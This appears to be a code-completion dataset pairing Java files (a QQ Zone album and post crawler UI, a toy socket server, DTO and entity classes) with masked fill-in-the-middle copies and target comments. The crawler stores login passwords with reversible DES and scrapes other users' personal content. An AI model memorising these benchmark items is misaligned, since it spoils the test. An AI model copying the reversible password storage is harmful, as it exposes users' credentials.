package exp.crawler.qq.ui; import java.awt.BorderLayout; import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.util.List; import javax.swing.JButton; import javax.swing.JPanel; import javax.swing.JPasswordField; import javax.swing.JRadioButton; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import org.jb2011.lnf.beautyeye.ch3_button.BEButtonUI.NormalColor; import exp.crawler.qq.Config; import exp.crawler.qq.cache.Browser; import exp.crawler.qq.core.interfaze.BaseAlbumAnalyzer; import exp.crawler.qq.core.interfaze.BaseLander; import exp.crawler.qq.core.interfaze.BaseMoodAnalyzer; import exp.crawler.qq.monitor.SafetyMonitor; import exp.crawler.qq.utils.UIUtils; import exp.libs.envm.Charset; import exp.libs.utils.encode.CryptoUtils; import exp.libs.utils.io.FileUtils; import exp.libs.utils.other.StrUtils; import exp.libs.warp.net.webkit.WebDriverType; import exp.libs.warp.thread.ThreadPool; import exp.libs.warp.ui.BeautyEyeUtils; import exp.libs.warp.ui.SwingUtils; import exp.libs.warp.ui.cpt.win.MainWindow; /** * <PRE> * QQ空间爬虫主界面 * </PRE> * <br/><B>PROJECT : </B> qzone-crawler * <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a> * @version 2017-12-17 * @author EXP: 272629724@qq.com * @since jdk版本:jdk1.6 */ public class AppUI extends MainWindow { /** 唯一序列号 */ private static final long serialVersionUID = -7825507638221203671L; /** 界面宽度 */ private final static int WIDTH = 750; /** 界面高度 */ private final static int HEIGHT = 600; /** 界面文本框最大缓存行数 */ private final static int MAX_LINE = 500; /** 换行符 */ private final static String LINE_END = "\r\n"; /** 登陆说明 */ private final static String LOGIN_DESC = "登陆 QQ 空间"; /** 注销登陆说明 */ private final static String LOGOUT_DESC = "注销"; /** 爬取数据的目标QQ号输入框 */ private JTextField qqTF; /** QQ登陆账号输入框 */ private JTextField unTF; /** QQ登陆密码输入框 */ private JPasswordField pwTF; /** * 【WEB模式】选项. * XHR模式为后端爬虫模式(默认) * WEB模式为前端仿真模式 */ private JRadioButton webBtn; /** 【记住登陆信息】选项 */ private JRadioButton rememberBtn; /** 登陆按钮 */ private JButton loginBtn; /** 是否登陆成功 */ private boolean isLogin; /** 【相册】爬取按钮 */ private JButton albumBtn; /** 【说说】爬取按钮 */ private JButton moodBtn; /** 日志输出区 */ private JTextArea consoleTA; /** 线程池 */ private ThreadPool tp; /** 单例 */ private static volatile AppUI instance; /** * 构造函数 */ private AppUI() { super("QQ空间爬虫 - By EXP (QQ:272629724)", WIDTH, HEIGHT); } /** * 创建实例 * @param args main入参 */ public static void createInstn(String[] args) { getInstn(); } /** * 获取单例 * @return */ public static AppUI getInstn() { if(instance == null) { synchronized (AppUI.class) { if(instance == null) { instance = new AppUI(); instance.setMini(TO_MINI); } } } return instance; } @Override protected void initComponents(Object... args) { this.qqTF = new JTextField(""); this.unTF = new JTextField(""); this.pwTF = new JPasswordField(""); qqTF.setToolTipText("需要爬取数据的目标QQ号"); unTF.setToolTipText("请确保此QQ具有查看对方空间权限 (不负责权限破解)"); pwTF.setToolTipText("此软件不盗号, 不放心勿用"); this.webBtn = new JRadioButton("web模式"); this.rememberBtn = new JRadioButton("记住我"); if(recoveryLoginInfo()) { rememberBtn.setSelected(true); } this.loginBtn = new JButton(LOGIN_DESC); this.albumBtn = new JButton("爬取【空间相册】图文数据"); this.moodBtn = new JButton("爬取【空间说说】图文数据"); albumBtn.setEnabled(false); moodBtn.setEnabled(false); BeautyEyeUtils.setButtonStyle(NormalColor.green, loginBtn); BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, albumBtn); BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, moodBtn); loginBtn.setForeground(Color.BLACK); albumBtn.setForeground(Color.BLACK); moodBtn.setForeground(Color.BLACK); this.consoleTA = new JTextArea(); consoleTA.setEditable(false); this.isLogin = false; this.tp = new ThreadPool(10); } @Override protected void setComponentsLayout(JPanel rootPanel) { rootPanel.add(getCtrlPanel(), BorderLayout.NORTH); rootPanel.add(getConsolePanel(), BorderLayout.CENTER); } private JPanel getCtrlPanel() { JPanel panel = SwingUtils.getVGridPanel( SwingUtils.getPairsPanel("QQ账号", unTF), SwingUtils.getPairsPanel("QQ密码", pwTF), SwingUtils.getPairsPanel("目标QQ", qqTF), SwingUtils.getEBorderPanel(loginBtn, SwingUtils.addBorder( SwingUtils.getHGridPanel(webBtn, rememberBtn))), SwingUtils.getHGridPanel(albumBtn, moodBtn) ); SwingUtils.addBorder(panel, "control"); return panel; } private JScrollPane getConsolePanel() { JScrollPane scollPanel = SwingUtils.addAutoScroll(consoleTA); SwingUtils.addBorder(scollPanel, "console"); return scollPanel; } @Override protected void setComponentsListener(JPanel rootPanel) { setNumTextFieldListener(unTF); setNumTextFieldListener(qqTF); setWebBynListener(); setLoginBtnListener(); setAlbumBtnListener(); setMoodBtnListener(); } private void setNumTextFieldListener(final JTextField textField) { textField.addKeyListener(new KeyListener() { @Override public void keyTyped(KeyEvent e) { String text = textField.getText(); // 当前输入框内容 char ch = e.getKeyChar(); // 准备附加到输入框的字符 // 限制不能输入非数字 if(!(ch >= '0' && ch <= '9')) { e.consume(); // 销毁当前输入字符 // 限制不能是0开头 } else if("".equals(text) && ch == '0') { e.consume(); } } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyPressed(KeyEvent e) { // TODO Auto-generated method stub } }); } private void setWebBynListener() { webBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(isLogin == true) { webBtn.setSelected(!webBtn.isSelected()); SwingUtils.warn("非登录状态下才允许切换爬虫模式"); return; } if(webBtn.isSelected()) { if(!FileUtils.exists(WebDriverType.PHANTOMJS.DRIVER_PATH())) { webBtn.setSelected(false); UIUtils.log("切换爬虫模式失败: 仿真浏览器丢失"); } else { UIUtils.log("切换爬虫模式: 仿真浏览器 (不推荐: 速度较慢, 成功率低)"); } } else { UIUtils.log("切换爬虫模式: XHR协议 (推荐: 速度较快, 成功率高)"); } } }); } private void setLoginBtnListener() { loginBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(!LOGOUT_DESC.equals(loginBtn.getText())) { _login(); } else { _logout(); } } }); } private void _login() { final String username = unTF.getText(); final String password = String.valueOf(pwTF.getPassword()); if(StrUtils.isEmpty(username, password)) { SwingUtils.warn("账号或密码不能为空"); return; } else if(!SafetyMonitor.getInstn().isInWhitelist(username)) { SwingUtils.warn(CryptoUtils.deDES("3DAE8A67B609563341FAEC071AC31480BC61074A466C072D7459240BCD26494B508505E9FA4C9365")); return; } loginBtn.setEnabled(false); tp.execute(new Thread() { @Override public void run() { BaseLander lander = webBtn.isSelected() ? new exp.crawler.qq.core.web.Lander(username, password) : new exp.crawler.qq.core.xhr.Lander(username, password); isLogin = lander.execute(); if(isLogin == true) { loginBtn.setText(LOGOUT_DESC); albumBtn.setEnabled(true); moodBtn.setEnabled(true); unTF.setEditable(false); pwTF.setEditable(false); if(rememberBtn.isSelected()) { backupLoginInfo(); } else { deleteLoginInfo(); } } else { Browser.quit(); } loginBtn.setEnabled(true); } }); } private void _logout() { if(!albumBtn.isEnabled() || !moodBtn.isEnabled()) { SwingUtils.warn("任务完成后才能注销登陆 !!!"); return; } if(SwingUtils.confirm("确认注销登陆吗 ?")) { Browser.quit(); Browser.clearCookies(); loginBtn.setText(LOGIN_DESC); isLogin = false; albumBtn.setEnabled(false); moodBtn.setEnabled(false); unTF.setEditable(true); pwTF.setEditable(true); UIUtils.log("QQ [", unTF.getText(), "] 已注销登陆"); } } private void setAlbumBtnListener() { albumBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(moodBtn.isEnabled() == false) { SwingUtils.warn("请先等待【空间说说】下载完成..."); } else { albumBtn.setEnabled(false); qqTF.setEditable(false); tp.execute(new Thread() { @Override public void run() { String QQ = qqTF.getText(); if(SafetyMonitor.getInstn().isInBlacklist(QQ)) { SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8")); } else { BaseAlbumAnalyzer analyzer = webBtn.isSelected() ? new exp.crawler.qq.core.web.AlbumAnalyzer(QQ) : new exp.crawler.qq.core.xhr.AlbumAnalyzer(QQ); analyzer.execute(); } albumBtn.setEnabled(true); qqTF.setEditable(true); } }); } } }); } private void setMoodBtnListener() { moodBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(albumBtn.isEnabled() == false) { SwingUtils.warn("请先等待【空间相册】下载完成..."); } else { moodBtn.setEnabled(false); qqTF.setEditable(false); tp.execute(new Thread() { @Override public void run() { String QQ = qqTF.getText(); if(SafetyMonitor.getInstn().isInBlacklist(QQ)) { SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8")); } else { BaseMoodAnalyzer analyzer = webBtn.isSelected() ? new exp.crawler.qq.core.web.MoodAnalyzer(QQ) : new exp.crawler.qq.core.xhr.MoodAnalyzer(QQ); analyzer.execute(); } moodBtn.setEnabled(true); qqTF.setEditable(true); } }); } } }); } @Override protected void AfterView() { SafetyMonitor.getInstn(); printVersionInfo(); } @Override protected void beforeHide() { // TODO Auto-generated method stub } @Override protected void beforeExit() { Browser.quit(); } /** * 附加信息到控制台 * @param msg */ public void toConsole(String msg) { if(StrUtils.count(consoleTA.getText(), '\n') >= MAX_LINE) { consoleTA.setText(""); } consoleTA.append(msg.concat(LINE_END)); SwingUtils.toEnd(consoleTA); } /** * 备份登陆信息 */ private void backupLoginInfo() { String username = unTF.getText(); String password = String.valueOf(pwTF.getPassword()); String QQ = qqTF.getText(); String loginInfo = StrUtils.concat( CryptoUtils.toDES(username), LINE_END, CryptoUtils.toDES(password), LINE_END, CryptoUtils.toDES(QQ) ); FileUtils.write(Config.LOGIN_INFO_PATH, loginInfo, Charset.ISO, false); } /** * 还原登陆信息 */ private boolean recoveryLoginInfo() { boolean isOk = false; List<String> lines = FileUtils.readLines(Config.LOGIN_INFO_PATH, Charset.ISO); if(lines.size() == 3) { unTF.setText(CryptoUtils.deDES(lines.get(0).trim())); pwTF.setText(CryptoUtils.deDES(lines.get(1).trim())); qqTF.setText(CryptoUtils.deDES(lines.get(2).trim())); isOk = true; } else { deleteLoginInfo(); } return isOk; } /** * 删除登陆信息 */ private void deleteLoginInfo() { FileUtils.delete(Config.LOGIN_INFO_PATH); } /** * 打印授权版本信息 */ public void printVersionInfo() { toConsole("**********************************************************"); toConsole(" [EXP (QQ:272629724)] 享有本软件的完全著作权"); toConsole(" 未经许可严禁擅自用于商业用途, 违者保留追究其法律责任的权利"); toConsole("**********************************************************"); } }
EXP-Codes/jzone-crawler
src/main/java/exp/crawler/qq/ui/AppUI.java
4,144
/** 【说说】爬取按钮 */
block_comment
zh-cn
package exp.crawler.qq.ui; import java.awt.BorderLayout; import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.util.List; import javax.swing.JButton; import javax.swing.JPanel; import javax.swing.JPasswordField; import javax.swing.JRadioButton; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import org.jb2011.lnf.beautyeye.ch3_button.BEButtonUI.NormalColor; import exp.crawler.qq.Config; import exp.crawler.qq.cache.Browser; import exp.crawler.qq.core.interfaze.BaseAlbumAnalyzer; import exp.crawler.qq.core.interfaze.BaseLander; import exp.crawler.qq.core.interfaze.BaseMoodAnalyzer; import exp.crawler.qq.monitor.SafetyMonitor; import exp.crawler.qq.utils.UIUtils; import exp.libs.envm.Charset; import exp.libs.utils.encode.CryptoUtils; import exp.libs.utils.io.FileUtils; import exp.libs.utils.other.StrUtils; import exp.libs.warp.net.webkit.WebDriverType; import exp.libs.warp.thread.ThreadPool; import exp.libs.warp.ui.BeautyEyeUtils; import exp.libs.warp.ui.SwingUtils; import exp.libs.warp.ui.cpt.win.MainWindow; /** * <PRE> * QQ空间爬虫主界面 * </PRE> * <br/><B>PROJECT : </B> qzone-crawler * <br/><B>SUPPORT : </B> <a href="http://www.exp-blog.com" target="_blank">www.exp-blog.com</a> * @version 2017-12-17 * @author EXP: 272629724@qq.com * @since jdk版本:jdk1.6 */ public class AppUI extends MainWindow { /** 唯一序列号 */ private static final long serialVersionUID = -7825507638221203671L; /** 界面宽度 */ private final static int WIDTH = 750; /** 界面高度 */ private final static int HEIGHT = 600; /** 界面文本框最大缓存行数 */ private final static int MAX_LINE = 500; /** 换行符 */ private final static String LINE_END = "\r\n"; /** 登陆说明 */ private final static String LOGIN_DESC = "登陆 QQ 空间"; /** 注销登陆说明 */ private final static String LOGOUT_DESC = "注销"; /** 爬取数据的目标QQ号输入框 */ private JTextField qqTF; /** QQ登陆账号输入框 */ private JTextField unTF; /** QQ登陆密码输入框 */ private JPasswordField pwTF; /** * 【WEB模式】选项. * XHR模式为后端爬虫模式(默认) * WEB模式为前端仿真模式 */ private JRadioButton webBtn; /** 【记住登陆信息】选项 */ private JRadioButton rememberBtn; /** 登陆按钮 */ private JButton loginBtn; /** 是否登陆成功 */ private boolean isLogin; /** 【相册】爬取按钮 */ private JButton albumBtn; /** 【说说 <SUF>*/ private JButton moodBtn; /** 日志输出区 */ private JTextArea consoleTA; /** 线程池 */ private ThreadPool tp; /** 单例 */ private static volatile AppUI instance; /** * 构造函数 */ private AppUI() { super("QQ空间爬虫 - By EXP (QQ:272629724)", WIDTH, HEIGHT); } /** * 创建实例 * @param args main入参 */ public static void createInstn(String[] args) { getInstn(); } /** * 获取单例 * @return */ public static AppUI getInstn() { if(instance == null) { synchronized (AppUI.class) { if(instance == null) { instance = new AppUI(); instance.setMini(TO_MINI); } } } return instance; } @Override protected void initComponents(Object... args) { this.qqTF = new JTextField(""); this.unTF = new JTextField(""); this.pwTF = new JPasswordField(""); qqTF.setToolTipText("需要爬取数据的目标QQ号"); unTF.setToolTipText("请确保此QQ具有查看对方空间权限 (不负责权限破解)"); pwTF.setToolTipText("此软件不盗号, 不放心勿用"); this.webBtn = new JRadioButton("web模式"); this.rememberBtn = new JRadioButton("记住我"); if(recoveryLoginInfo()) { rememberBtn.setSelected(true); } this.loginBtn = new JButton(LOGIN_DESC); this.albumBtn = new JButton("爬取【空间相册】图文数据"); this.moodBtn = new JButton("爬取【空间说说】图文数据"); albumBtn.setEnabled(false); moodBtn.setEnabled(false); BeautyEyeUtils.setButtonStyle(NormalColor.green, loginBtn); BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, albumBtn); BeautyEyeUtils.setButtonStyle(NormalColor.lightBlue, moodBtn); loginBtn.setForeground(Color.BLACK); albumBtn.setForeground(Color.BLACK); moodBtn.setForeground(Color.BLACK); this.consoleTA = new JTextArea(); consoleTA.setEditable(false); this.isLogin = false; this.tp = new ThreadPool(10); } @Override protected void setComponentsLayout(JPanel rootPanel) { rootPanel.add(getCtrlPanel(), BorderLayout.NORTH); rootPanel.add(getConsolePanel(), BorderLayout.CENTER); } private JPanel getCtrlPanel() { JPanel panel = SwingUtils.getVGridPanel( SwingUtils.getPairsPanel("QQ账号", unTF), SwingUtils.getPairsPanel("QQ密码", pwTF), SwingUtils.getPairsPanel("目标QQ", qqTF), SwingUtils.getEBorderPanel(loginBtn, SwingUtils.addBorder( SwingUtils.getHGridPanel(webBtn, rememberBtn))), SwingUtils.getHGridPanel(albumBtn, moodBtn) ); SwingUtils.addBorder(panel, "control"); return panel; } private JScrollPane getConsolePanel() { JScrollPane scollPanel = SwingUtils.addAutoScroll(consoleTA); SwingUtils.addBorder(scollPanel, "console"); return scollPanel; } @Override protected void setComponentsListener(JPanel rootPanel) { setNumTextFieldListener(unTF); setNumTextFieldListener(qqTF); setWebBynListener(); setLoginBtnListener(); setAlbumBtnListener(); setMoodBtnListener(); } private void setNumTextFieldListener(final JTextField textField) { textField.addKeyListener(new KeyListener() { @Override public void keyTyped(KeyEvent e) { String text = textField.getText(); // 当前输入框内容 char ch = e.getKeyChar(); // 准备附加到输入框的字符 // 限制不能输入非数字 if(!(ch >= '0' && ch <= '9')) { e.consume(); // 销毁当前输入字符 // 限制不能是0开头 } else if("".equals(text) && ch == '0') { e.consume(); } } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyPressed(KeyEvent e) { // TODO Auto-generated method stub } }); } private void setWebBynListener() { webBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(isLogin == true) { webBtn.setSelected(!webBtn.isSelected()); SwingUtils.warn("非登录状态下才允许切换爬虫模式"); return; } if(webBtn.isSelected()) { if(!FileUtils.exists(WebDriverType.PHANTOMJS.DRIVER_PATH())) { webBtn.setSelected(false); UIUtils.log("切换爬虫模式失败: 仿真浏览器丢失"); } else { UIUtils.log("切换爬虫模式: 仿真浏览器 (不推荐: 速度较慢, 成功率低)"); } } else { UIUtils.log("切换爬虫模式: XHR协议 (推荐: 速度较快, 成功率高)"); } } }); } private void setLoginBtnListener() { loginBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(!LOGOUT_DESC.equals(loginBtn.getText())) { _login(); } else { _logout(); } } }); } private void _login() { final String username = unTF.getText(); final String password = String.valueOf(pwTF.getPassword()); if(StrUtils.isEmpty(username, password)) { SwingUtils.warn("账号或密码不能为空"); return; } else if(!SafetyMonitor.getInstn().isInWhitelist(username)) { SwingUtils.warn(CryptoUtils.deDES("3DAE8A67B609563341FAEC071AC31480BC61074A466C072D7459240BCD26494B508505E9FA4C9365")); return; } loginBtn.setEnabled(false); tp.execute(new Thread() { @Override public void run() { BaseLander lander = webBtn.isSelected() ? new exp.crawler.qq.core.web.Lander(username, password) : new exp.crawler.qq.core.xhr.Lander(username, password); isLogin = lander.execute(); if(isLogin == true) { loginBtn.setText(LOGOUT_DESC); albumBtn.setEnabled(true); moodBtn.setEnabled(true); unTF.setEditable(false); pwTF.setEditable(false); if(rememberBtn.isSelected()) { backupLoginInfo(); } else { deleteLoginInfo(); } } else { Browser.quit(); } loginBtn.setEnabled(true); } }); } private void _logout() { if(!albumBtn.isEnabled() || !moodBtn.isEnabled()) { SwingUtils.warn("任务完成后才能注销登陆 !!!"); return; } if(SwingUtils.confirm("确认注销登陆吗 ?")) { Browser.quit(); Browser.clearCookies(); loginBtn.setText(LOGIN_DESC); isLogin = false; albumBtn.setEnabled(false); moodBtn.setEnabled(false); unTF.setEditable(true); pwTF.setEditable(true); UIUtils.log("QQ [", unTF.getText(), "] 已注销登陆"); } } private void setAlbumBtnListener() { albumBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(moodBtn.isEnabled() == false) { SwingUtils.warn("请先等待【空间说说】下载完成..."); } else { albumBtn.setEnabled(false); qqTF.setEditable(false); tp.execute(new Thread() { @Override public void run() { String QQ = qqTF.getText(); if(SafetyMonitor.getInstn().isInBlacklist(QQ)) { SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8")); } else { BaseAlbumAnalyzer analyzer = webBtn.isSelected() ? new exp.crawler.qq.core.web.AlbumAnalyzer(QQ) : new exp.crawler.qq.core.xhr.AlbumAnalyzer(QQ); analyzer.execute(); } albumBtn.setEnabled(true); qqTF.setEditable(true); } }); } } }); } private void setMoodBtnListener() { moodBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { if(albumBtn.isEnabled() == false) { SwingUtils.warn("请先等待【空间相册】下载完成..."); } else { moodBtn.setEnabled(false); qqTF.setEditable(false); tp.execute(new Thread() { @Override public void run() { String QQ = qqTF.getText(); if(SafetyMonitor.getInstn().isInBlacklist(QQ)) { SwingUtils.warn(CryptoUtils.deDES("CBE925DFC86BAE34CE0E0C979A9E85725774A822AF89D1C83735A49161F2EBC8")); } else { BaseMoodAnalyzer analyzer = webBtn.isSelected() ? new exp.crawler.qq.core.web.MoodAnalyzer(QQ) : new exp.crawler.qq.core.xhr.MoodAnalyzer(QQ); analyzer.execute(); } moodBtn.setEnabled(true); qqTF.setEditable(true); } }); } } }); } @Override protected void AfterView() { SafetyMonitor.getInstn(); printVersionInfo(); } @Override protected void beforeHide() { // TODO Auto-generated method stub } @Override protected void beforeExit() { Browser.quit(); } /** * 附加信息到控制台 * @param msg */ public void toConsole(String msg) { if(StrUtils.count(consoleTA.getText(), '\n') >= MAX_LINE) { consoleTA.setText(""); } consoleTA.append(msg.concat(LINE_END)); SwingUtils.toEnd(consoleTA); } /** * 备份登陆信息 */ private void backupLoginInfo() { String username = unTF.getText(); String password = String.valueOf(pwTF.getPassword()); String QQ = qqTF.getText(); String loginInfo = StrUtils.concat( CryptoUtils.toDES(username), LINE_END, CryptoUtils.toDES(password), LINE_END, CryptoUtils.toDES(QQ) ); FileUtils.write(Config.LOGIN_INFO_PATH, loginInfo, Charset.ISO, false); } /** * 还原登陆信息 */ private boolean recoveryLoginInfo() { boolean isOk = false; List<String> lines = FileUtils.readLines(Config.LOGIN_INFO_PATH, Charset.ISO); if(lines.size() == 3) { unTF.setText(CryptoUtils.deDES(lines.get(0).trim())); pwTF.setText(CryptoUtils.deDES(lines.get(1).trim())); qqTF.setText(CryptoUtils.deDES(lines.get(2).trim())); isOk = true; } else { deleteLoginInfo(); } return isOk; } /** * 删除登陆信息 */ private void deleteLoginInfo() { FileUtils.delete(Config.LOGIN_INFO_PATH); } /** * 打印授权版本信息 */ public void printVersionInfo() { toConsole("**********************************************************"); toConsole(" [EXP (QQ:272629724)] 享有本软件的完全著作权"); toConsole(" 未经许可严禁擅自用于商业用途, 违者保留追究其法律责任的权利"); toConsole("**********************************************************"); } }
1
23210_2
import java.io.*; import java.net.ServerSocket; import java.net.Socket; /** * @author yangda * @description: * @create 2023-05-21-14:53 */ public class MyTomcat { public static void main(String[] args) throws IOException { ServerSocket serverSocket = new ServerSocket(9999); int i = 0; while (!serverSocket.isClosed()){ // 如果serverSocket 没有关闭 System.out.println("f服务器等待连接、、、" + ++i); // 等待浏览器/客户端连接,得到socket // 该socket用于通信 Socket socket = serverSocket.accept(); // 拿到 和socket相关的输出流 OutputStream outputStream = socket.getOutputStream(); FileReader fileReader = new FileReader("src/hello.html"); BufferedReader bufferedReader = new BufferedReader(fileReader); String buf = ""; while ((buf = bufferedReader.readLine()) != null){ outputStream.write(buf.getBytes()); } // BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream)); // outputStream.write("hello i am server".getBytes()); System.out.println("信息以打入管道" ); outputStream.close(); socket.close(); } serverSocket.close(); } }
EXsYang/mycode
javaweb/tomcat/src/MyTomcat.java
311
// 等待浏览器/客户端连接,得到socket
line_comment
zh-cn
import java.io.*; import java.net.ServerSocket; import java.net.Socket; /** * @author yangda * @description: * @create 2023-05-21-14:53 */ public class MyTomcat { public static void main(String[] args) throws IOException { ServerSocket serverSocket = new ServerSocket(9999); int i = 0; while (!serverSocket.isClosed()){ // 如果serverSocket 没有关闭 System.out.println("f服务器等待连接、、、" + ++i); // 等待 <SUF> // 该socket用于通信 Socket socket = serverSocket.accept(); // 拿到 和socket相关的输出流 OutputStream outputStream = socket.getOutputStream(); FileReader fileReader = new FileReader("src/hello.html"); BufferedReader bufferedReader = new BufferedReader(fileReader); String buf = ""; while ((buf = bufferedReader.readLine()) != null){ outputStream.write(buf.getBytes()); } // BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream)); // outputStream.write("hello i am server".getBytes()); System.out.println("信息以打入管道" ); outputStream.close(); socket.close(); } serverSocket.close(); } }
0
57583_6
package io.github.ealenxie.aliyun.ocr.vo.invoice; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import lombok.Setter; /** * Created by EalenXie on 2023/4/3 12:58 * 航班详单 */ @Getter @Setter public class Flight { /** * 出发站 */ @JsonProperty("departureStation") private String departureStation; /** * 到达站 */ @JsonProperty("arrivalStation") private String arrivalStation; /** * 承运人 */ @JsonProperty("carrier") private String carrier; /** * 航班号 */ @JsonProperty("flightNumber") private String flightNumber; /** * 舱位等级 */ @JsonProperty("cabinClass") private String cabinClass; /** * 乘机日期 */ @JsonProperty("flightDate") private String flightDate; /** * 乘机时间 */ @JsonProperty("flightTime") private String flightTime; /** * 座位等级 */ @JsonProperty("seatClass") private String seatClass; /** * 客票生效日期 */ @JsonProperty("validFromDate") private String validFromDate; /** * 有效截止日期 */ @JsonProperty("validToDate") private String validToDate; /** * 免费行李 */ @JsonProperty("freeBaggageAllowance") private String freeBaggageAllowance; }
EalenXie/sdk-all
aliyun-ocr-sdk/src/main/java/io/github/ealenxie/aliyun/ocr/vo/invoice/Flight.java
368
/** * 乘机日期 */
block_comment
zh-cn
package io.github.ealenxie.aliyun.ocr.vo.invoice; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import lombok.Setter; /** * Created by EalenXie on 2023/4/3 12:58 * 航班详单 */ @Getter @Setter public class Flight { /** * 出发站 */ @JsonProperty("departureStation") private String departureStation; /** * 到达站 */ @JsonProperty("arrivalStation") private String arrivalStation; /** * 承运人 */ @JsonProperty("carrier") private String carrier; /** * 航班号 */ @JsonProperty("flightNumber") private String flightNumber; /** * 舱位等级 */ @JsonProperty("cabinClass") private String cabinClass; /** * 乘机日 <SUF>*/ @JsonProperty("flightDate") private String flightDate; /** * 乘机时间 */ @JsonProperty("flightTime") private String flightTime; /** * 座位等级 */ @JsonProperty("seatClass") private String seatClass; /** * 客票生效日期 */ @JsonProperty("validFromDate") private String validFromDate; /** * 有效截止日期 */ @JsonProperty("validToDate") private String validToDate; /** * 免费行李 */ @JsonProperty("freeBaggageAllowance") private String freeBaggageAllowance; }
1
33828_7
package com.github.domain.entity; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import com.github.domain.vo.Rate; import lombok.Data; import org.springframework.format.annotation.DateTimeFormat; import java.util.Date; import java.util.List; /** * @author EalenXie create on 2021/3/1 9:14 * 商户实体 既是商户实体 持久化对象也是商户领域的根实体 (贫血模型) * 属性示例 */ @Data @TableName("merchant") public class Merchant { /** * 商户Id */ @TableId(value = "merchant_id", type = IdType.AUTO) private Long merchantId; /** * 商户名称 */ @TableField(value = "merchant_name") private String merchantName; /** * 商户类型 */ @TableField(value = "merchant_type") private String merchantType; /** * 法定代表人 */ @TableField(value = "legal_person") private String legalPerson; /** * 商户入驻时间 */ @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8") @TableField(value = "come_in_time") private Date comeInTime; /** * 一个商户拥有一家或多家 门店(实体) */ @TableField(exist = false) private List<Store> stores; /** * 一个商户拥有多个对外渠道 费率(值对象) */ @TableField(exist = false) private List<Rate> rates; }
EalenXie/spring-microservice-ddd
src/main/java/com/github/domain/entity/Merchant.java
488
/** * 一个商户拥有多个对外渠道 费率(值对象) */
block_comment
zh-cn
package com.github.domain.entity; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import com.github.domain.vo.Rate; import lombok.Data; import org.springframework.format.annotation.DateTimeFormat; import java.util.Date; import java.util.List; /** * @author EalenXie create on 2021/3/1 9:14 * 商户实体 既是商户实体 持久化对象也是商户领域的根实体 (贫血模型) * 属性示例 */ @Data @TableName("merchant") public class Merchant { /** * 商户Id */ @TableId(value = "merchant_id", type = IdType.AUTO) private Long merchantId; /** * 商户名称 */ @TableField(value = "merchant_name") private String merchantName; /** * 商户类型 */ @TableField(value = "merchant_type") private String merchantType; /** * 法定代表人 */ @TableField(value = "legal_person") private String legalPerson; /** * 商户入驻时间 */ @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8") @TableField(value = "come_in_time") private Date comeInTime; /** * 一个商户拥有一家或多家 门店(实体) */ @TableField(exist = false) private List<Store> stores; /** * 一个商 <SUF>*/ @TableField(exist = false) private List<Rate> rates; }
1
36401_4
package name.ealen.entity; import com.fasterxml.jackson.annotation.JsonIgnore; import org.hibernate.annotations.GenericGenerator; import javax.persistence.*; import java.util.Set; /** * Created by EalenXie on 2018/10/16 16:13. * 典型的 多层级 分类 * <p> * :@NamedEntityGraph :注解在实体上 , 解决典型的N+1问题 * name表示实体图名, 与 repository中的注解 @EntityGraph的value属性相对应, * attributeNodes 表示被标注要懒加载的属性节点 比如此例中 : 要懒加载的子分类集合children */ @Entity @Table(name = "jpa_category") @NamedEntityGraphs({ @NamedEntityGraph(name = "Category.findAll", attributeNodes = {@NamedAttributeNode("children")}), @NamedEntityGraph(name = "Category.findByParent", attributeNodes = {@NamedAttributeNode(value = "children", subgraph = "son")}, //一级延伸 subgraphs = {@NamedSubgraph(name = "son", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "grandson")), //二级延伸 @NamedSubgraph(name = "grandson", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "greatGrandSon")), //三级延伸 @NamedSubgraph(name = "greatGrandSon", attributeNodes = @NamedAttributeNode(value = "children"))}) //四级延伸 // 有多少次延伸,就有多少个联表关系,自身关联的表设计中,子节点是可以无限延伸的,所以关联数可能查询的..... }) public class Category { /** * Id 使用UUID生成策略 */ @Id 